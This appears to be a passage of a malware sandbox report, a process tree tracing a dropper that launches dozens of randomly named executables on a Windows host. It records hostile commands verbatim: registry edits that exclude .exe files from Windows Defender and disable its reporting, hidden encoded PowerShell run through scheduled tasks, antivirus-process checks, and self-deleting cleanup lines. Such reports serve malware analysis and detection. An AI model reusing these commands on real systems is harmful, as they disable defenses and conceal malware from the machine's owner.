- C:\Users\Admin\Pictures\Adobe Films\MXCxFj1wVwyBERITQSGVmfnk.exe
  "C:\Users\Admin\Pictures\Adobe Films\MXCxFj1wVwyBERITQSGVmfnk.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Drops file in Program Files directory
  PID:2588
- - C:\Users\Admin\Documents\LybSbFkmmvm8Zd1dBzBkDJgO.exe
    "C:\Users\Admin\Documents\LybSbFkmmvm8Zd1dBzBkDJgO.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Modifies system certificate store
    PID:4908
  - - C:\Users\Admin\Pictures\Adobe Films\oC6FURFp9vo22ae96LAsAt9w.exe
      "C:\Users\Admin\Pictures\Adobe Films\oC6FURFp9vo22ae96LAsAt9w.exe"
      4⤵
      Executes dropped EXE
      PID:1092
  - - C:\Users\Admin\Pictures\Adobe Films\QNFR0WBG4nIgJA14raoDC1QB.exe
      "C:\Users\Admin\Pictures\Adobe Films\QNFR0WBG4nIgJA14raoDC1QB.exe"
      4⤵
      Executes dropped EXE
      PID:4792
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4792 -s 616
        5⤵
        Program crash
        
        PID:2140
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4792 -s 624
        5⤵
        Program crash
        
        PID:3608
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4792 -s 720
        5⤵
        Program crash
        
        PID:4452
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4792 -s 804
        5⤵
        Program crash
        
        PID:3704
  - - C:\Users\Admin\Pictures\Adobe Films\LnF0jV4f7OsBU5ctDUNRd5lO.exe
      "C:\Users\Admin\Pictures\Adobe Films\LnF0jV4f7OsBU5ctDUNRd5lO.exe"
      4⤵
      Executes dropped EXE
      PID:2372
  - - C:\Users\Admin\Pictures\Adobe Films\VMmqsy5778VIabLDHAp0ObkK.exe
      "C:\Users\Admin\Pictures\Adobe Films\VMmqsy5778VIabLDHAp0ObkK.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:5044
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        5⤵
        
        PID:5504
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5696
  - - C:\Users\Admin\Pictures\Adobe Films\WI6JmkyFVjC79pNukNBursdd.exe
      "C:\Users\Admin\Pictures\Adobe Films\WI6JmkyFVjC79pNukNBursdd.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious behavior: MapViewOfSection
      PID:3988
  - - C:\Users\Admin\Pictures\Adobe Films\KW7SkET0cc4X1UgaWMwaJM_F.exe
      "C:\Users\Admin\Pictures\Adobe Films\KW7SkET0cc4X1UgaWMwaJM_F.exe"
      4⤵
      Executes dropped EXE
      PID:3824
    - - C:\Users\Admin\AppData\Local\Temp\7zS87E5.tmp\Install.exe
        
        .\Install.exe
        5⤵
        Executes dropped EXE
        
        PID:4312
      - C:\Users\Admin\AppData\Local\Temp\7zSA06F.tmp\Install.exe
        
        .\Install.exe /S /site_id "525403"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks computer location settings
        Drops file in System32 directory
        Enumerates system info in registry
        
        PID:3588
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        7⤵
        
        PID:5804
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        8⤵
        
        PID:1120
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        9⤵
        
        PID:5276
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        9⤵
        
        PID:1956
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        7⤵
        
        PID:5900
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        8⤵
        
        PID:5248
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        9⤵
        
        PID:5324
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        9⤵
        
        PID:5416
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gNQhpXtEx" /SC once /ST 01:01:16 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        7⤵
        Creates scheduled task(s)
        
        PID:4852
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gNQhpXtEx"
        7⤵
        
        PID:6096
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gNQhpXtEx"
        7⤵
        
        PID:5304
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bnHoQpKIlSSCUFQrDN" /SC once /ST 20:06:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\qXPJNMcRbBFEeomOU\igHnmwfRSHoqfpr\ssDQEsW.exe\" Sk /site_id 525403 /S" /V1 /F
        7⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:1852
  - - C:\Users\Admin\Pictures\Adobe Films\k1OH4szQtMcHwENW40z2p_8u.exe
      "C:\Users\Admin\Pictures\Adobe Films\k1OH4szQtMcHwENW40z2p_8u.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      PID:5216
    - - C:\Users\Admin\AppData\Local\Temp\pub1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\pub1.exe"
        5⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Checks SCSI registry key(s)
        Suspicious behavior: MapViewOfSection
        
        PID:5204
    - - C:\Users\Admin\AppData\Local\Temp\lilei.exe
        
        "C:\Users\Admin\AppData\Local\Temp\lilei.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious use of SetWindowsHookEx
        
        PID:2508
      - C:\Users\Admin\AppData\Local\Temp\lilei.exe
        
        "C:\Users\Admin\AppData\Local\Temp\lilei.exe" -h
        6⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:1540
    - - C:\Users\Admin\AppData\Local\Temp\InsigniaCleanerInstall238497.exe
        
        "C:\Users\Admin\AppData\Local\Temp\InsigniaCleanerInstall238497.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        
        PID:5764
      - C:\Users\Admin\AppData\Local\Temp\8c474140-549c-4da1-9408-f271f6da418d3085912.exe
        
        "C:\Users\Admin\AppData\Local\Temp\8c474140-549c-4da1-9408-f271f6da418d3085912.exe"
        6⤵
        Executes dropped EXE
        
        PID:3128
    - - C:\Users\Admin\AppData\Local\Temp\siww1049.exe
        
        "C:\Users\Admin\AppData\Local\Temp\siww1049.exe"
        5⤵
        Executes dropped EXE
        
        PID:1560
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1560 -s 844
        6⤵
        Program crash
        
        PID:2360
    - - C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        5⤵
        Executes dropped EXE
        
        PID:3540
      - C:\Users\Admin\AppData\Local\Temp\is-T7SC5.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-T7SC5.tmp\setup.tmp" /SL5="$102B2,870458,780800,C:\Users\Admin\AppData\Local\Temp\setup.exe"
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        
        PID:5716
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        7⤵
        Executes dropped EXE
        
        PID:6056
        
        C:\Users\Admin\AppData\Local\Temp\is-7PCSS.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-7PCSS.tmp\setup.tmp" /SL5="$80054,870458,780800,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5708
    - - C:\Users\Admin\AppData\Local\Temp\inst200.exe
        
        "C:\Users\Admin\AppData\Local\Temp\inst200.exe"
        5⤵
        Executes dropped EXE
        
        PID:6052
    - - C:\Users\Admin\AppData\Local\Temp\udontsay.exe
        
        "C:\Users\Admin\AppData\Local\Temp\udontsay.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5532
    - - C:\Users\Admin\AppData\Local\Temp\search_hyperfs_213.exe
        
        "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_213.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        
        PID:1812
      - C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" -S 6GUEWmWv.OUP
        6⤵
        Loads dropped DLL
        
        PID:3540
    - - C:\Users\Admin\AppData\Local\Temp\anytime1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\anytime1.exe"
        5⤵
        Executes dropped EXE
        Checks computer location settings
        
        PID:3980
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        
        PID:5544
    - - C:\Users\Admin\AppData\Local\Temp\anytime2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\anytime2.exe"
        5⤵
        Executes dropped EXE
        
        PID:3984
    - - C:\Users\Admin\AppData\Local\Temp\anytime3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\anytime3.exe"
        5⤵
        Executes dropped EXE
        
        PID:1956
    - - C:\Users\Admin\AppData\Local\Temp\bearvpn3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bearvpn3.exe"
        5⤵
        Executes dropped EXE
        
        PID:4276
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:1660
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:1780
- C:\Users\Admin\Pictures\Adobe Films\fmm8YfQpz5_C_N9yOEK5pBRh.exe
  "C:\Users\Admin\Pictures\Adobe Films\fmm8YfQpz5_C_N9yOEK5pBRh.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  PID:2704
- - C:\Windows\SysWOW64\explorer.exe
    "C:\Windows\SysWOW64\explorer.exe"
    3⤵
    - Adds Run key to start application
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    PID:4880
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2704 -s 452
    3⤵
    - Program crash
    PID:744
- C:\Users\Admin\Pictures\Adobe Films\2WtLKR_AxMOSDy8q4f8FxRqr.exe
  "C:\Users\Admin\Pictures\Adobe Films\2WtLKR_AxMOSDy8q4f8FxRqr.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2788
- C:\Users\Admin\Pictures\Adobe Films\8qAhgpDGTLdIEQfmpxwCAlll.exe
  "C:\Users\Admin\Pictures\Adobe Films\8qAhgpDGTLdIEQfmpxwCAlll.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4820
- C:\Users\Admin\Pictures\Adobe Films\Jkj8PO_EQIF1v1BDnk4B03JG.exe
  "C:\Users\Admin\Pictures\Adobe Films\Jkj8PO_EQIF1v1BDnk4B03JG.exe"
  2⤵
  - Executes dropped EXE
  PID:2292
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 680
    3⤵
    - Program crash
    PID:3732
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 788
    3⤵
    - Program crash
    PID:2868
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 816
    3⤵
    - Program crash
    PID:5968
- C:\Users\Admin\Pictures\Adobe Films\XdjPbeaoiYCJ1Pl6rf3VC9EL.exe
  "C:\Users\Admin\Pictures\Adobe Films\XdjPbeaoiYCJ1Pl6rf3VC9EL.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  PID:1320
- - C:\Windows\SysWOW64\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    PID:5016
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cmd < Detto.xla
    3⤵
    PID:3128
  - - C:\Windows\SysWOW64\cmd.exe
      cmd
      4⤵
      PID:2596
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /FI "imagename eq BullGuardCore.exe"
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2188
    - - C:\Windows\SysWOW64\find.exe
        
        find /I /N "bullguardcore.exe"
        5⤵
        
        PID:2124
    - - C:\Windows\SysWOW64\find.exe
        
        find /I /N "psuaservice.exe"
        5⤵
        
        PID:1956
    - - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /FI "imagename eq PSUAService.exe"
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3264
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^wtwRMqjYMlcblhfrOaJNpOohYASICCRoGRaYHSofIqwzkvtDhVASceYjWNSjoDvlzhRaVdvWpzypNPwCvgcGwZMDTye$" Hai.xla
        5⤵
        
        PID:3672
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
        
        Sta.exe.pif V
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5360
      - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sta.exe.pif
        6⤵
        Executes dropped EXE
        
        PID:5216
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5216 -s 448
        7⤵
        Program crash
        
        PID:4692
    - - C:\Windows\SysWOW64\waitfor.exe
        
        waitfor /t 5 MsGxuGavEVaQbserVWhrA
        5⤵
        
        PID:5540
- C:\Users\Admin\Pictures\Adobe Films\3hbnZhx8xEvwWIaRvmgIDohl.exe
  "C:\Users\Admin\Pictures\Adobe Films\3hbnZhx8xEvwWIaRvmgIDohl.exe"
  2⤵
  - Executes dropped EXE
  PID:372
- C:\Users\Admin\Pictures\Adobe Films\DrKF6ZN1YvFu7eQdgZ3bGy4B.exe
  "C:\Users\Admin\Pictures\Adobe Films\DrKF6ZN1YvFu7eQdgZ3bGy4B.exe"
  2⤵
  - Executes dropped EXE
  PID:2948
- C:\Users\Admin\Pictures\Adobe Films\2sQ5YRZu8gj8nPv9d3o0vPmL.exe
  "C:\Users\Admin\Pictures\Adobe Films\2sQ5YRZu8gj8nPv9d3o0vPmL.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:1872
- C:\Users\Admin\Pictures\Adobe Films\PZgGb7e0HjX6GkW0EKxnrqBN.exe
  "C:\Users\Admin\Pictures\Adobe Films\PZgGb7e0HjX6GkW0EKxnrqBN.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4568
- - C:\Users\Admin\AppData\Local\Temp\7zS239E.tmp\Install.exe
    .\Install.exe
    3⤵
    - Executes dropped EXE
    PID:3084
  - - C:\Users\Admin\AppData\Local\Temp\7zS336C.tmp\Install.exe
      .\Install.exe /S /site_id "525403"
      4⤵
      Executes dropped EXE
      Checks BIOS information in registry
      Checks computer location settings
      Drops file in System32 directory
      Enumerates system info in registry
      PID:2228
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        5⤵
        
        PID:4832
      - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        6⤵
        
        PID:396
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        7⤵
        
        PID:5200
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        7⤵
        
        PID:5416
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        5⤵
        
        PID:4352
      - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        6⤵
        
        PID:4488
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        7⤵
        
        PID:5276
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        7⤵
        
        PID:5336
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gUGfntTQi" /SC once /ST 00:34:15 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        5⤵
        Creates scheduled task(s)
        
        PID:5560
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gUGfntTQi"
        5⤵
        
        PID:6052
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gUGfntTQi"
        5⤵
        
        PID:3416
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bnHoQpKIlSSCUFQrDN" /SC once /ST 20:07:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\qXPJNMcRbBFEeomOU\igHnmwfRSHoqfpr\xVhWyEH.exe\" Sk /site_id 525403 /S" /V1 /F
        5⤵
        Creates scheduled task(s)
        
        PID:5824
- C:\Users\Admin\Pictures\Adobe Films\EJisyTQR8Z8JiOT2DsTM_vda.exe
  "C:\Users\Admin\Pictures\Adobe Films\EJisyTQR8Z8JiOT2DsTM_vda.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:1924
- C:\Users\Admin\Pictures\Adobe Films\VJjBaSUkFn9MKU3U_DF4UEoX.exe
  "C:\Users\Admin\Pictures\Adobe Films\VJjBaSUkFn9MKU3U_DF4UEoX.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:1528
- C:\Users\Admin\Pictures\Adobe Films\PLhXyFVoXiG0KwIUXn7kAIJV.exe
  "C:\Users\Admin\Pictures\Adobe Films\PLhXyFVoXiG0KwIUXn7kAIJV.exe"
  2⤵
  - Executes dropped EXE
  PID:2140
- C:\Users\Admin\Pictures\Adobe Films\vcjYLGPVsDPpsGtVxsI88mk0.exe
  "C:\Users\Admin\Pictures\Adobe Films\vcjYLGPVsDPpsGtVxsI88mk0.exe"
  2⤵
  - Executes dropped EXE
  PID:396
- C:\Users\Admin\Pictures\Adobe Films\s6KYskI_pyascABhvVooC0G8.exe
  "C:\Users\Admin\Pictures\Adobe Films\s6KYskI_pyascABhvVooC0G8.exe"
  2⤵
  - Executes dropped EXE
  PID:3404
- C:\Users\Admin\Pictures\Adobe Films\d5p3lJQGVpDAkppBTH0rR4q7.exe
  "C:\Users\Admin\Pictures\Adobe Films\d5p3lJQGVpDAkppBTH0rR4q7.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:2260
- C:\Users\Admin\Pictures\Adobe Films\krc5on4IBNinEGpw0OgG2VVI.exe
  "C:\Users\Admin\Pictures\Adobe Films\krc5on4IBNinEGpw0OgG2VVI.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Loads dropped DLL
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Checks processor information in registry
  PID:840
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im krc5on4IBNinEGpw0OgG2VVI.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\krc5on4IBNinEGpw0OgG2VVI.exe" & del C:\ProgramData\*.dll & exit
    3⤵
    PID:5776
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im krc5on4IBNinEGpw0OgG2VVI.exe /f
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5880
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 6
      4⤵
      Delays execution with timeout.exe
      PID:5436
- C:\Users\Admin\Pictures\Adobe Films\OnL0t407pMUl386TLwIfhQoY.exe
  "C:\Users\Admin\Pictures\Adobe Films\OnL0t407pMUl386TLwIfhQoY.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Loads dropped DLL
  - Checks processor information in registry
  PID:4928
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im OnL0t407pMUl386TLwIfhQoY.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\OnL0t407pMUl386TLwIfhQoY.exe" & del C:\ProgramData\*.dll & exit
    3⤵
    PID:5924
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im OnL0t407pMUl386TLwIfhQoY.exe /f
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5992
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 6
      4⤵
      Delays execution with timeout.exe
      PID:5212
- C:\Users\Admin\Pictures\Adobe Films\tZsazMtFSa24dDgrWQnBxd1q.exe
  "C:\Users\Admin\Pictures\Adobe Films\tZsazMtFSa24dDgrWQnBxd1q.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:4628
- C:\Users\Admin\Pictures\Adobe Films\FMZluQTa7cMsxEwDNsrTgauj.exe
  "C:\Users\Admin\Pictures\Adobe Films\FMZluQTa7cMsxEwDNsrTgauj.exe"
  2⤵
  - Executes dropped EXE
  PID:1696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 396 -ip 396
1⤵
PID:2124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2948 -ip 2948
1⤵
PID:1628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 2140 -ip 2140
1⤵
PID:744

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2292 -ip 2292
1⤵
PID:1564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2704 -ip 2704
1⤵
PID:2388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 396 -ip 396
1⤵
PID:4860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2140 -ip 2140
1⤵
PID:1336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2948 -ip 2948
1⤵
PID:2776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 2292 -ip 2292
1⤵
PID:3264

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2292 -ip 2292
1⤵
PID:4044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4792 -ip 4792
1⤵
PID:1864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:5272
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:5896
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:3840

C:\Windows\system32\WerFault.exe
